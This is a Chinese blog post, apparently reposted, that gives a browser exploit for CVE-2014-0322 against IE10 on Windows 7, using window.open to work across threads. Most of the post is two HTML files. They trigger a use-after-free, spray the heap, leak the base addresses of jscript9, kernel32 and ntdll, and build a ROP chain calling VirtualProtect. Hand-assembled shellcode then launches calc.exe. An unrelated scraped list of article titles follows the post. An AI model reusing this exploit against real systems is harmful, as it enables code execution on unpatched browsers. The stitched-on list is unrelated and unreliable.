最近在写cve-2014-0321这个漏洞的poc,分析的时候发现这流程简直就是个坑(越写越坑!!),没办法只能照着古河的思路,利用多线程进行操作。虽然知道多线程操作用window.open去创建,但调用了之后发现一直创建的都是个进程,根本就没有线程啊,简直就是个坑啊。后来无数次的尝试之后才发现,之前一直本地进行IE漏洞的调试,这样子使用window.open打开的总是一个进程,这样子也就没办法实现利用或者是占位。之后,用python架了简易的web服务,web的方式来访问,才发现window.open虽然创建了一个新的tab,但并没有创建一个新的进程,而是在原有的进程中创建了一个线程进行操作。如下还是以cve-2014-0322写的exp(cve-2014-0321的等稳定之后再分析),测试环境仍然是win7+IE10,其主要思想是主线程负责漏洞触发,子线程负责漏洞的利用等相关操作。

open.html

<html>
<headid="headId">
<title>main page</title>
<script>
functiondword2data(dword) {vard=Number(dword).toString(16);while(d.length< 8)d= '0' +d;returnunescape('%u' +d.substr(4,8)+ '%u' +d.substr(0,4));
}varg_arr=[];vararrLen= 0x50;functionfun()
{vara=0;//to alloc the memoryfor(a=0;a<arrLen;++a){g_arr[a]=document.createElement('div')};varb=dword2data(0x41414141);varc= 0x0a0bf120;while(b.length<0x360) {if(b.length==(0x94/2)) b+=dword2data(c+0x20-0xc);else if(b.length==(0x98/2)) b+=dword2data(c+0x20-0x8);else if(b.length==(0xac/2)) b+=dword2data(0x0a0b001b-0x10);else if(b.length==(0x15c/2)) b+=dword2data(0x42424242);elseb+=dword2data(0x41414141);    }vard=b.substring(0,(0x340-2)/2);try{this.outerHTML=this.outerHTML}catch(e){}CollectGarbage();//to reuse the freed memoryfor(a=0;a<arrLen;++a){g_arr[a].title=d.substring(0,d.length);}
}functionpuIHa3() {vara=document.getElementsByTagName("script");varb=a[0];b.onpropertychange=fun ;varc=document.createElement('SELECT');c=b.appendChild(c);//}window.open('opensrc.html');
setTimeout('puIHa3()',400);</script></head>
</html>

open.html

<html>
<body>
<script>
varx= newArray();varxx= newArray();functionLargBlock() {for(vark=0;k<0x150;k++){if(k<0x30) xx[k]= newArrayBuffer();else if(k<0x40) xx[k]= newArrayBuffer(0x1ff8);elsexx[k]= newArrayBuffer();}
}functionspray() {for(vark=0;k<0x800;k++){x[k]= newArray(0x3bf8);for(vari= 0; i< 0x55;i++){x[k][i]= newInt32Array(xx[20]);}for(;i<0x3bf8;i++){x[k][i]=i;}}
}functionfindArray(size) {for(vark=0;k<0x800;k++){for(vari= 0; i< 0x55;i++){if(x[k][i].length!= 0){//alert(x[k][i].length.toString(16));return[k,i];}}}return[-1,-1];
}functiondll_baseaddress(address,index) {varpp=address& 0xffff0000;varcount=0;while(1){if(x[index[0]][index[1]][pp/0x4] == 0x00905a4d)
{returnpp;}elsepp=pp-0x10000;count++;if(count==50)return -1;}
}functionmodule_baseaddress(other_baseaddress,index,name) {vare_lfanew=x[index[0]][index[1]][(other_baseaddress+0x3c)/4];varimage_file_header=other_baseaddress+e_lfanew;varimage_data_directorys=image_file_header+0x78;varimport_table_address=other_baseaddress+x[index[0]][index[1]][image_data_directorys/4+2];varimport_table_size=x[index[0]][index[1]][image_data_directorys/4+3];for(vark=0;k<import_table_size/0x14;k++)
{varimport_dll_address=import_table_address+k*0x14;vardll_name_address=other_baseaddress+x[index[0]][index[1]][import_dll_address/4+3];if(x[index[0]][index[1]][dll_name_address/4]==name[0] &&
x[index[0]][index[1]][dll_name_address/4+1]==name[1])
{varfirst_thunk=other_baseaddress+x[index[0]][index[1]][import_dll_address/4+4];varfunction1=x[index[0]][index[1]][first_thunk/4];returndll_baseaddress(function1,index);}}return -1;
}functionjudge(test,index) {if(x[index[0]][index[1]][test/4]==x[index[0]][index[1]][test/4+8]){return 1;}else{return -1;}
}LargBlock();
spray();//window.open('test3.html');
setTimeout('exp()',600);functionexp() {varflag= 1;for(vark=0;k<0x800;k++) {x[k][15358]= 0x20000000;}//while(flag) {varinfo=findArray(0x20000000);//alert(info[0]);if(info[0]!=-1) {flag= 0;x[info[0]][info[1]][0x0a0bf018/4] = 0x20000000;varpvftable_int32array=x[info[0]][info[1]][0x0a0bf000/4];varjscript9_base_address=dll_baseaddress(pvftable_int32array,info);varkernel32_base_address=module_baseaddress(jscript9_base_address,info,[0x4e52454b,0x32334c45]);varmsvcrt_base_address=module_baseaddress(jscript9_base_address,info,[0x6376736d,0x642e7472]);varntdll_base_address=module_baseaddress(kernel32_base_address,info,[0x6c64746e,0x6c642e6c]);varxx_2=x[info[0]][info[1]][0x0a0bf020/4];//for testif(judge(xx_2,info)) {//x[info[0]][info[1]][0x0a0bf030/4] = 0;//x[info[0]][info[1]][0x0a0bf048/4] = 0x100;//x[info[0]][info[1]+1][0] = 0;//alert('1');varxx_3=x[info[0]][info[1]][xx_2/4+0xc];varxx_4=x[info[0]][info[1]][xx_2/4+0x2c];//for(var k=info[1]+1;k<0x55;k++)//{//delete x[info[0]][k];//}//CollectGarbage();//for(var k=info[1]+1;k<0x55;k++)//{//x[info[0]][k] = new Int32Array(xx[1]);//}deletex[info[0]][info[1]+1];CollectGarbage();x[info[0]][info[1]+1]= newInt32Array(xx[50]);deletex[info[0]][info[1]+2];CollectGarbage();x[info[0]][info[1]+2]= newInt32Array(xx[55]);//alert(x[info[0]][info[1]][0x0a0bf04c/4].toString(16));//for(var k=0;k<0x150/4;k++)//{//x[info[0]][info[1]+1][k] = jscript9_base_address+0x0003845e;//}varaddr1=x[info[0]][info[1]][0x0a0b0020/4 + info[1] + 1];varaddr2=x[info[0]][info[1]][0x0a0b0020/4 + info[1] + 2];//alert(addr1.toString(16));//alert(addr2.toString(16));
x[info[0]][info[1]+1][0x140/4] = jscript9_base_address+0x0003845e;//xchg eax,esp#retn
x[info[0]][info[1]+1][0]=kernel32_base_address+0x000020d8;//VirtualProtect
x[info[0]][info[1]+1][1]=x[info[0]][info[1]][(addr2+0x1c)/4];
x[info[0]][info[1]+1][2]=x[info[0]][info[1]][(addr2+0x1c)/4]&0xffff000;//Address//alert(x[info[0]][info[1]+1][1].toString(16));
x[info[0]][info[1]+1][3]= 0x1000;//size
x[info[0]][info[1]+1][4]= 0x40;//newprotect:page_execute_readwrite
x[info[0]][info[1]+1][5]= 0x0a0bf038;//oldprotect
x[info[0]][info[1]+1][6]=x[info[0]][info[1]][(addr1+0x1c)/4]+0x40;
x[info[0]][info[1]+1][7]= 5;//ret address//                //xB8xADx23x86x7C//[info[0]][info[1]][0x0a0bf04c/4]+0x40;//calc.exe
x[info[0]][info[1]+1][16]= 0x636c6163;x[info[0]][info[1]+1][17]= 0x6578652e;varHeapDataAddress=x[info[0]][info[1]][(addr1+0x1c)/4];varHeapEntry1=x[info[0]][info[1]][HeapDataAddress/4-2];varHeapEntry2=x[info[0]][info[1]][HeapDataAddress/4-1];
x[info[0]][info[1]+1][32]=HeapEntry1;x[info[0]][info[1]+1][33]=HeapEntry2;//shellcode//B8 78563412                    mov eax,0x12345678//FFD0                           call eax//8BE5                           mov esp,ebp//83EC 78                        sub esp,0x78//B8 78563412                    mov eax,0x12345678//BB 30F00B0A                    mov ebx,0xA0BF030//B9 30F00B0A                    mov ecx,0xA0BF030//C705 30F00B0A 78563412         mov dword ptr ds:[0xA0BF030],0x12345678//C705 18F00B0A 00000000         mov dword ptr ds:[0xA0BF018],0x0//C705 78563412 78563412         mov dword ptr ds:[0x12345678],0x12345678//C705 78563412 78563412         mov dword ptr ds:[0x12345678],0x12345678//FFE0                           jmp eax
x[info[0]][info[1]+2][0]=((kernel32_base_address+0x8edae)<<8)+ 0xB8;x[info[0]][info[1]+2][1]=(kernel32_base_address>>24)+0x8bD0ff00;x[info[0]][info[1]+2][2]= 0x78EC83e5;x[info[0]][info[1]+2][3]= 0xb8 +(x[info[0]][info[1]][(pvftable_int32array+0x140)/4] << 8);
x[info[0]][info[1]+2][4]=(x[info[0]][info[1]][(pvftable_int32array+0x140)/4] >> 24) + 0xbb00+(addr1<<16);
x[info[0]][info[1]+2][5]= 0x00b90000+(addr1>>16)+(addr1<<24);x[info[0]][info[1]+2][6]= 0xc7000000+(addr1>>8);x[info[0]][info[1]+2][7]= 0x00000005+(addr1<<8);x[info[0]][info[1]+2][8]=(addr1>>24)+(pvftable_int32array<< 8);x[info[0]][info[1]+2][9]=(pvftable_int32array>> 24)+ 0x1805c700;x[info[0]][info[1]+2][10]= 0x0a0bf0;x[info[0]][info[1]+2][11]= 0xc7000000;x[info[0]][info[1]+2][12]= 0x05 +((HeapDataAddress-0x8)<<8);x[info[0]][info[1]+2][13]=((HeapDataAddress-0x8)>>24)+(HeapEntry1<< 8);x[info[0]][info[1]+2][14]=(HeapEntry1>>24)+ 0x05c700 +((HeapDataAddress-0x4)<<24);x[info[0]][info[1]+2][15]=((HeapDataAddress-0x4)>>8)+(HeapEntry2<< 24);x[info[0]][info[1]+2][16]=(HeapEntry2>> 8)+ 0xff000000;x[info[0]][info[1]+2][17]= 0xe0;x[info[0]][info[1]][addr1/4] = x[info[0]][info[1]][(addr1+0x1c)/4];//alert(x[info[0]][info[1]][0x0a0bf020/4].toString(16));
x[info[0]][info[1]+1][0]= 0;//alert(x[info[0]][info[1]][0x0a0bf020/4].toString(16));//delete x[info[0]][info[1]+1];//delete x[info[0]][info[1]+2];//CollectGarbage();
}}//}
}</script></body>
</html>

利用这种方式进行操作,有一个致命的缺点,就是会弹出一个pop-up blocker信息框,这样需要用户点击才能够运行。测试的时候,可以把pop-up blocker关闭进行测试。对于如何绕过pop-up blocker验证机制,还有待进一步研究。

另外,多线程操作也可以使用iframe或者worker来进行,但在使用的过程中发现有些漏洞在iframe中并不能够触发,这应该和程序的处理流程或者渲染过程有关系,不过多线程的操作只是一种思想,正如Array Heap Spraying一样,不在于方法是怎样的,而在于你如何去利用它。更关键的在于怎样去控制程序的流程,能够走向你所能控制的方向。同时,对于一个漏洞而言,你如何将其与手中的方法相结合也是关键,总之漏洞挖掘、漏洞分析和漏洞利用都是一脉相承的,熟悉一招半式是不能够乘风破浪的,要想手到擒来,还需多加练习啊。

转载于:https://www.cnblogs.com/wal613/p/3969296.html

IE exp中的多线程操作相关推荐

  1. python多线程读取数据库数据_python多线程操作MySQL数据库pymysql

    python多线程操作MySQL数据库pymysql 项目中使用多线程操作数据库提示错误:pymysql.err.InterfaceError: (0, "),原因是pymysql的exec ...

  2. Android中的多线程(字节跳动)

    文章目录 Handler机制(Android中的消息队列机制) Handler机制为Android系统解决了以下两个问题 Handler常用方法 Handler的使用 补充知识点 Handler原理 ...

  3. java8 流操作_java8中的流操作

    Stream 流是 Java 8 新提供给开发者的一组操作集合的 API,将要处理的元素集合看作一种流, 流在管道中传输, 并且可以在管道的节点上进行处理, 比如筛选.排序.聚合等.元素流在管道中经过 ...

  4. FMDatabaseQueue 数据库多线程操作、事务处理

    SQLite数据库多线程操作: 在上面一节中已经讲过FMDB的用法了,接下来讲讲sqlite在都线程中的用法.如果应用中使用了多线程操作数据库,那么就需要使用FMDatabaseQueue来保证线程安 ...

  5. iOS 开发中的多线程

    线程.进程 什么是线程.进程   有的人说进程就像是人的脑袋,线程就是脑袋上的头发~~.其实这么比方不算错,但是更简单的来说,用迅雷下载文件,迅雷这个程序就是一个进程,下载的文件就是一个线程,同时下载 ...

  6. Java中的多线程编程(超详细总结)

    文章目录 Java中的多线程编程(超详细总结) 一.线程与多线程的概念 二.线程与进程之间的关系 三.一个线程的生命周期 四.多线程的目的和意义 五.线程的实现的方式 Java中的多线程编程(超详细总 ...

  7. 一起谈.NET技术,在.NET Workflow 3.5中使用多线程提高工作流性能

    最近在工作上碰到一个性能问题,由于项目是基于SOA的架构,使得整个系统完全依赖于各种各样的Service,其中用于处理业务逻辑的Business Services全部都用.NET Workflow 3 ...

  8. 在.NET客户端程序中使用多线程

    在.NET客户端程序中使用多线程通常认为在编写程序中用到多线程是一个高级的编程任务,容易发生错误.在本月的栏目中,我将在一个Windows窗体应用程序中使用多线程,它具有实际的意义,同时尽量使事情简单 ...

  9. Android 开发中的多线程编程技术

    此文章来自"Intel Software"应用开发 多线程这个令人生畏的"洪水猛兽",很多人谈起多线程都心存畏惧.在Android开发过程中,多线程真的很难吗? ...

最新文章

  1. 新科技快速指南系列之“量子计算”:历史、现在与未来
  2. wince: Post-deploy error 0x00000001 returned after calling......解决方法
  3. 编程中经常碰到且觉得难的事是什么?
  4. Spring MVC入门示例
  5. 终于收到微软的衬衫了!!!
  6. 对VOC目标检测数据进行增强
  7. boot spring test 文档_Spring、Spring Boot 和 TestNG 测试指南 ( 3 )
  8. Problem C: 判断字符串是否为回文
  9. 数据结构与算法-原始版-a+b+c=1000并且a方+b方=c方
  10. 【JAVA 第四章 流程控制语句】课后习题 直线斜率 以及判断坐标是否在直线上点到直线的距离
  11. 对于原始轨迹的噪声过滤方法和曲率计算方法
  12. 微信潜规则:月薪过万的90后,过年都在看什么?
  13. 20.20 告警系统主脚本;20.21 告警系统配置文件;20.22 告警系统监控项目
  14. C语言程序设计谭浩强版 五
  15. LBS (基于位置服务)-- Location Based Service
  16. fclk if总线_技嘉B550手把手超频指南,光威血影为例
  17. 不等式计算机在线使用,不等式传递性在线计算器
  18. LED背光源的使用寿命多久?
  19. Linux 下常见的四款chm查看器比较
  20. nacos启动后CPU使用率过高

热门文章

  1. 安装SQL2000数据库在Windows10出现 无法定位序数1于动态链接库
  2. java https http 区别_关于HTTP和HTTPS的区别
  3. 【重读.转】《解放日报》关于《黑客帝国》的访谈
  4. xftp传输状态错误怎么弄?
  5. C++ tinyxml2 空指针问题
  6. html中的if函数,countif函数的使用方法
  7. 股票预测(数据为招商银行在A股的数据,模型为MSCNN_Bilstm_Attention,python,代码和数据均在压缩包里,可以直接运行,并使用MAE/MSE/MAPE/涨跌准确率作为指标)
  8. 域控-笔记三(非约束委派攻击,约束委派攻击)
  9. 齐枭飞 Vue系列--vue的图片路径,和背景图片路径打包后错误解决
  10. 有关c/c++指针的金典问题